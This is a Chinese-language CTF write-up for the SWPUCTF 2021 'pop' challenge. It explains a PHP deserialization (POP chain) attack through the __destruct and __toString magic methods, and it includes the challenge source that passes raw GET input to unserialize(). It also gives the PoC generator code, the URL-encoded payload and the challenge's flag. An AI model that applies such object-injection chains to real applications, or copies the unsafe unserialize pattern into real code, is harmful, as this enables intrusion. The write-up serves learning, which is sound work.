[SWPUCTF 2021 新生赛]pop

发布时间 2023-08-04 16:03:31作者: Tzyyyyy

题目源码

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

解题分析

pop链构造从魔术方法入手

通过反推得到 w22m中的destruct是第一个利用点

在该函数利用下 会通过echo输出

输出什么内容不要紧 最重要的是输出的这个行为 等于是将数据变成了string类型的字符串

这样就会触发到w33m中的tostring函数

该函数会触发动态调用方法

$this->w00m是一个对象,而$this->w22m则是该对象的一个属性名。
代码中使用了动态方法调用语法,通过->{$this->w22m}()可以调用 $this->w00m对象的某个方法。

那么 通过构造具体的方法名 可以去触发Getflag方法 也就是说这里可以将{$this->w22m}()的值设为Getflag就行

另外还需要注意这里存在protect属性 最后要url编码防止报错

POC

<?php
class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$a = new w22m();
$a->w00m = new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>

得到payload

O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

传参得到flag

NSSCTF{bd41570c-ef1f-44b6-bed4-78b8f31b0749}